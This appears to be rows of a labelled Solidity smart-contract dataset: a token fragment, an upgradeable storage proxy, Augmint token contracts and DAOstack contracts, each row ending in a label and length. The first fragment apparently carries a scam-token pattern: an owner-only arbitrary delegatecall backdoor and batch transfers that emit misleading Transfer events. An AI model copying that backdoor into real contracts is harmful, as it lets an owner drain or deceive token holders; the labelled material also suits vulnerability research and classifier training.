require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,818 |
pragma solidity 0.4.24;
contract EternalStorage {
mapping(bytes32 => uint256) internal uintStorage;
mapping(bytes32 => string) internal stringStorage;
mapping(bytes32 => address) internal addressStorage;
mapping(bytes32 => bytes) internal bytesStorage;
mapping(bytes32 => bool) internal boolStorage;
mapping(bytes32 => int256) internal intStorage;
mapping(bytes32 => uint256[]) internal uintArrayStorage;
mapping(bytes32 => string[]) internal stringArrayStorage;
mapping(bytes32 => address[]) internal addressArrayStorage;
mapping(bytes32 => bool[]) internal boolArrayStorage;
mapping(bytes32 => int256[]) internal intArrayStorage;
mapping(bytes32 => bytes32[]) internal bytes32ArrayStorage;
}
contract UpgradeabilityOwnerStorage {
address private _upgradeabilityOwner;
function upgradeabilityOwner() public view returns (address) {
return _upgradeabilityOwner;
}
function setUpgradeabilityOwner(address newUpgradeabilityOwner) internal {
_upgradeabilityOwner = newUpgradeabilityOwner;
}
}
contract Proxy {
function implementation() public view returns (address);
function setImplementation(address _newImplementation) external;
function () payable public {
address _impl = implementation();
require(_impl != address(0));
address _innerImpl;
bytes4 sig;
address thisAddress = address(this);
if (_impl.call(0x5c60da1b)) {
_innerImpl = Proxy(_impl).implementation();
this.setImplementation(_innerImpl);
sig = 0xd784d426;
}
assembly {
let ptr := mload(0x40)
calldatacopy(ptr, 0, calldatasize)
let result := delegatecall(gas, _impl, ptr, calldatasize, 0, 0)
mstore(0x40, add(ptr, returndatasize))
returndatacopy(ptr, 0, returndatasize)
let retdatasize := returndatasize
switch sig
case 0 {}
default {
let x := mload(0x40)
mstore(x, sig)
mstore(add(x, 0x04), _impl)
let success := call(gas, thisAddress, 0, x, 0x24, x, 0x0)
}
switch result
case 0 { revert(ptr, retdatasize) }
default { return(ptr, retdatasize) }
}
}
}
contract UpgradeabilityStorage {
uint256 internal _version;
address internal _implementation;
function version() public view returns (uint256) {
return _version;
}
function implementation() public view returns (address) {
return _implementation;
}
function setImplementation(address _newImplementation) external {
require(msg.sender == address(this));
_implementation = _newImplementation;
}
}
contract UpgradeabilityProxy is Proxy, UpgradeabilityStorage {
event Upgraded(uint256 version, address indexed implementation);
function _upgradeTo(uint256 version, address implementation) internal {
require(_implementation != implementation);
require(version > _version);
_version = version;
_implementation = implementation;
emit Upgraded(version, implementation);
}
}
contract OwnedUpgradeabilityProxy is UpgradeabilityOwnerStorage, UpgradeabilityProxy {
event ProxyOwnershipTransferred(address previousOwner, address newOwner);
constructor() public {
setUpgradeabilityOwner(msg.sender);
}
modifier onlyProxyOwner() {
require(msg.sender == proxyOwner());
_;
}
function proxyOwner() public view returns (address) {
return upgradeabilityOwner();
}
function transferProxyOwnership(address newOwner) public onlyProxyOwner {
require(newOwner != address(0));
emit ProxyOwnershipTransferred(proxyOwner(), newOwner);
setUpgradeabilityOwner(newOwner);
}
function upgradeTo(uint256 version, address implementation) public onlyProxyOwner {
_upgradeTo(version, implementation);
}
function upgradeToAndCall(uint256 version, address implementation, bytes data) payable public onlyProxyOwner {
upgradeTo(version, implementation);
require(address(this).call.value(msg.value)(data));
}
}
contract EternalStorageProxy is OwnedUpgradeabilityProxy, EternalStorage {} | 1 | 4,265 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b, "mul overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "div by 0");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "sub underflow");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "add overflow");
return c;
}
function roundedDiv(uint a, uint b) internal pure returns (uint256) {
require(b > 0, "div by 0");
uint256 z = a / b;
if (a % b >= b / 2) {
z++;
}
return z;
}
}
contract Restricted {
mapping (address => mapping (bytes32 => bool)) public permissions;
event PermissionGranted(address indexed agent, bytes32 grantedPermission);
event PermissionRevoked(address indexed agent, bytes32 revokedPermission);
modifier restrict(bytes32 requiredPermission) {
require(permissions[msg.sender][requiredPermission], "msg.sender must have permission");
_;
}
constructor(address permissionGranterContract) public {
require(permissionGranterContract != address(0), "permissionGranterContract must be set");
permissions[permissionGranterContract]["PermissionGranter"] = true;
emit PermissionGranted(permissionGranterContract, "PermissionGranter");
}
function grantPermission(address agent, bytes32 requiredPermission) public {
require(permissions[msg.sender]["PermissionGranter"],
"msg.sender must have PermissionGranter permission");
permissions[agent][requiredPermission] = true;
emit PermissionGranted(agent, requiredPermission);
}
function grantMultiplePermissions(address agent, bytes32[] requiredPermissions) public {
require(permissions[msg.sender]["PermissionGranter"],
"msg.sender must have PermissionGranter permission");
uint256 length = requiredPermissions.length;
for (uint256 i = 0; i < length; i++) {
grantPermission(agent, requiredPermissions[i]);
}
}
function revokePermission(address agent, bytes32 requiredPermission) public {
require(permissions[msg.sender]["PermissionGranter"],
"msg.sender must have PermissionGranter permission");
permissions[agent][requiredPermission] = false;
emit PermissionRevoked(agent, requiredPermission);
}
function revokeMultiplePermissions(address agent, bytes32[] requiredPermissions) public {
uint256 length = requiredPermissions.length;
for (uint256 i = 0; i < length; i++) {
revokePermission(agent, requiredPermissions[i]);
}
}
}
library ECRecovery {
function recover(bytes32 hash, bytes sig)
internal
pure
returns (address)
{
bytes32 r;
bytes32 s;
uint8 v;
if (sig.length != 65) {
return (address(0));
}
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
interface ERC20Interface {
event Approval(address indexed _owner, address indexed _spender, uint _value);
event Transfer(address indexed from, address indexed to, uint amount);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function balanceOf(address who) external view returns (uint);
function allowance(address _owner, address _spender) external view returns (uint remaining);
}
interface TokenReceiver {
function transferNotification(address from, uint256 amount, uint data) external;
}
contract AugmintTokenInterface is Restricted, ERC20Interface {
using SafeMath for uint256;
string public name;
string public symbol;
bytes32 public peggedSymbol;
uint8 public decimals;
uint public totalSupply;
mapping(address => uint256) public balances;
mapping(address => mapping (address => uint256)) public allowed;
address public stabilityBoardProxy;
TransferFeeInterface public feeAccount;
mapping(bytes32 => bool) public delegatedTxHashesUsed;
event TransferFeesChanged(uint transferFeePt, uint transferFeeMin, uint transferFeeMax);
event Transfer(address indexed from, address indexed to, uint amount);
event AugmintTransfer(address indexed from, address indexed to, uint amount, string narrative, uint fee);
event TokenIssued(uint amount);
event TokenBurned(uint amount);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function approve(address spender, uint value) external returns (bool);
function delegatedTransfer(address from, address to, uint amount, string narrative,
uint maxExecutorFeeInToken,
bytes32 nonce,
bytes signature,
uint requestedExecutorFeeInToken
) external;
function delegatedTransferAndNotify(address from, TokenReceiver target, uint amount, uint data,
uint maxExecutorFeeInToken,
bytes32 nonce,
bytes signature,
uint requestedExecutorFeeInToken
) external;
function increaseApproval(address spender, uint addedValue) external returns (bool);
function decreaseApproval(address spender, uint subtractedValue) external returns (bool);
function issueTo(address to, uint amount) external;
function burn(uint amount) external;
function transferAndNotify(TokenReceiver target, uint amount, uint data) external;
function transferWithNarrative(address to, uint256 amount, string narrative) external;
function transferFromWithNarrative(address from, address to, uint256 amount, string narrative) external;
function allowance(address owner, address spender) external view returns (uint256 remaining);
function balanceOf(address who) external view returns (uint);
}
contract AugmintToken is AugmintTokenInterface {
event FeeAccountChanged(TransferFeeInterface newFeeAccount);
constructor(address permissionGranterContract, string _name, string _symbol, bytes32 _peggedSymbol, uint8 _decimals, TransferFeeInterface _feeAccount)
public Restricted(permissionGranterContract) {
require(_feeAccount != address(0), "feeAccount must be set");
require(bytes(_name).length > 0, "name must be set");
require(bytes(_symbol).length > 0, "symbol must be set");
name = _name;
symbol = _symbol;
peggedSymbol = _peggedSymbol;
decimals = _decimals;
feeAccount = _feeAccount;
}
function transfer(address to, uint256 amount) external returns (bool) {
_transfer(msg.sender, to, amount, "");
return true;
}
function delegatedTransfer(address from, address to, uint amount, string narrative,
uint maxExecutorFeeInToken,
bytes32 nonce,
bytes signature,
uint requestedExecutorFeeInToken
)
external {
bytes32 txHash = keccak256(abi.encodePacked(this, from, to, amount, narrative, maxExecutorFeeInToken, nonce));
_checkHashAndTransferExecutorFee(txHash, signature, from, maxExecutorFeeInToken, requestedExecutorFeeInToken);
_transfer(from, to, amount, narrative);
}
function approve(address _spender, uint256 amount) external returns (bool) {
require(_spender != 0x0, "spender must be set");
allowed[msg.sender][_spender] = amount;
emit Approval(msg.sender, _spender, amount);
return true;
}
function increaseApproval(address _spender, uint _addedValue) external returns (bool) {
return _increaseApproval(msg.sender, _spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) external returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
_transferFrom(from, to, amount, "");
return true;
}
function issueTo(address to, uint amount) external restrict("MonetarySupervisor") {
balances[to] = balances[to].add(amount);
totalSupply = totalSupply.add(amount);
emit Transfer(0x0, to, amount);
emit AugmintTransfer(0x0, to, amount, "", 0);
}
function burn(uint amount) external {
require(balances[msg.sender] >= amount, "balance must be >= amount");
balances[msg.sender] = balances[msg.sender].sub(amount);
totalSupply = totalSupply.sub(amount);
emit Transfer(msg.sender, 0x0, amount);
emit AugmintTransfer(msg.sender, 0x0, amount, "", 0);
}
function setFeeAccount(TransferFeeInterface newFeeAccount) external restrict("StabilityBoard") {
feeAccount = newFeeAccount;
emit FeeAccountChanged(newFeeAccount);
}
function transferAndNotify(TokenReceiver target, uint amount, uint data) external {
_transfer(msg.sender, target, amount, "");
target.transferNotification(msg.sender, amount, data);
}
function delegatedTransferAndNotify(address from, TokenReceiver target, uint amount, uint data,
uint maxExecutorFeeInToken,
bytes32 nonce,
bytes signature,
uint requestedExecutorFeeInToken
)
external {
bytes32 txHash = keccak256(abi.encodePacked(this, from, target, amount, data, maxExecutorFeeInToken, nonce));
_checkHashAndTransferExecutorFee(txHash, signature, from, maxExecutorFeeInToken, requestedExecutorFeeInToken);
_transfer(from, target, amount, "");
target.transferNotification(from, amount, data);
}
function transferWithNarrative(address to, uint256 amount, string narrative) external {
_transfer(msg.sender, to, amount, narrative);
}
function transferFromWithNarrative(address from, address to, uint256 amount, string narrative) external {
_transferFrom(from, to, amount, narrative);
}
function balanceOf(address _owner) external view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) external view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function _checkHashAndTransferExecutorFee(bytes32 txHash, bytes signature, address signer,
uint maxExecutorFeeInToken, uint requestedExecutorFeeInToken) private {
require(requestedExecutorFeeInToken <= maxExecutorFeeInToken, "requestedExecutorFee must be <= maxExecutorFee");
require(!delegatedTxHashesUsed[txHash], "txHash already used");
delegatedTxHashesUsed[txHash] = true;
address recovered = ECRecovery.recover(ECRecovery.toEthSignedMessageHash(txHash), signature);
require(recovered == signer, "invalid signature");
_transfer(signer, msg.sender, requestedExecutorFeeInToken, "Delegated transfer fee", 0);
}
function _increaseApproval(address _approver, address _spender, uint _addedValue) private returns (bool) {
allowed[_approver][_spender] = allowed[_approver][_spender].add(_addedValue);
emit Approval(_approver, _spender, allowed[_approver][_spender]);
}
function _transferFrom(address from, address to, uint256 amount, string narrative) private {
require(balances[from] >= amount, "balance must >= amount");
require(allowed[from][msg.sender] >= amount, "allowance must be >= amount");
require(allowed[from][msg.sender] > 0, "allowance must be >= 0 even with 0 amount");
_transfer(from, to, amount, narrative);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount);
}
function _transfer(address from, address to, uint transferAmount, string narrative) private {
uint fee = feeAccount.calculateTransferFee(from, to, transferAmount);
_transfer(from, to, transferAmount, narrative, fee);
}
function _transfer(address from, address to, uint transferAmount, string narrative, uint fee) private {
require(to != 0x0, "to must be set");
uint amountWithFee = transferAmount.add(fee);
require(balances[from] >= amountWithFee, "balance must be >= amount + transfer fee");
if (fee > 0) {
balances[feeAccount] = balances[feeAccount].add(fee);
emit Transfer(from, feeAccount, fee);
}
balances[from] = balances[from].sub(amountWithFee);
balances[to] = balances[to].add(transferAmount);
emit Transfer(from, to, transferAmount);
emit AugmintTransfer(from, to, transferAmount, narrative, fee);
}
}
contract SystemAccount is Restricted {
event WithdrawFromSystemAccount(address tokenAddress, address to, uint tokenAmount, uint weiAmount,
string narrative);
constructor(address permissionGranterContract) public Restricted(permissionGranterContract) {}
function withdraw(AugmintToken tokenAddress, address to, uint tokenAmount, uint weiAmount, string narrative)
external restrict("StabilityBoard") {
tokenAddress.transferWithNarrative(to, tokenAmount, narrative);
if (weiAmount > 0) {
to.transfer(weiAmount);
}
emit WithdrawFromSystemAccount(tokenAddress, to, tokenAmount, weiAmount, narrative);
}
}
interface TransferFeeInterface {
function calculateTransferFee(address from, address to, uint amount) external view returns (uint256 fee);
}
contract FeeAccount is SystemAccount, TransferFeeInterface {
using SafeMath for uint256;
struct TransferFee {
uint pt;
uint min;
uint max;
}
TransferFee public transferFee;
event TransferFeesChanged(uint transferFeePt, uint transferFeeMin, uint transferFeeMax);
constructor(address permissionGranterContract, uint transferFeePt, uint transferFeeMin, uint transferFeeMax)
public SystemAccount(permissionGranterContract) {
transferFee = TransferFee(transferFeePt, transferFeeMin, transferFeeMax);
}
function () public payable {
}
function setTransferFees(uint transferFeePt, uint transferFeeMin, uint transferFeeMax)
external restrict("StabilityBoard") {
transferFee = TransferFee(transferFeePt, transferFeeMin, transferFeeMax);
emit TransferFeesChanged(transferFeePt, transferFeeMin, transferFeeMax);
}
function calculateTransferFee(address from, address to, uint amount) external view returns (uint256 fee) {
if (!permissions[from]["NoTransferFee"] && !permissions[to]["NoTransferFee"]) {
fee = amount.mul(transferFee.pt).div(1000000);
if (fee > transferFee.max) {
fee = transferFee.max;
} else if (fee < transferFee.min) {
fee = transferFee.min;
}
}
return fee;
}
function calculateExchangeFee(uint weiAmount) external view returns (uint256 weiFee) {
require(weiAmount != weiAmount, "not yet implemented");
weiFee = transferFee.max;
}
} | 1 | 2,944 |
pragma solidity ^0.5.4;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.4;
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.2;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.4;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.2;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.4;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
pragma solidity ^0.5.4;
contract UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.4;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
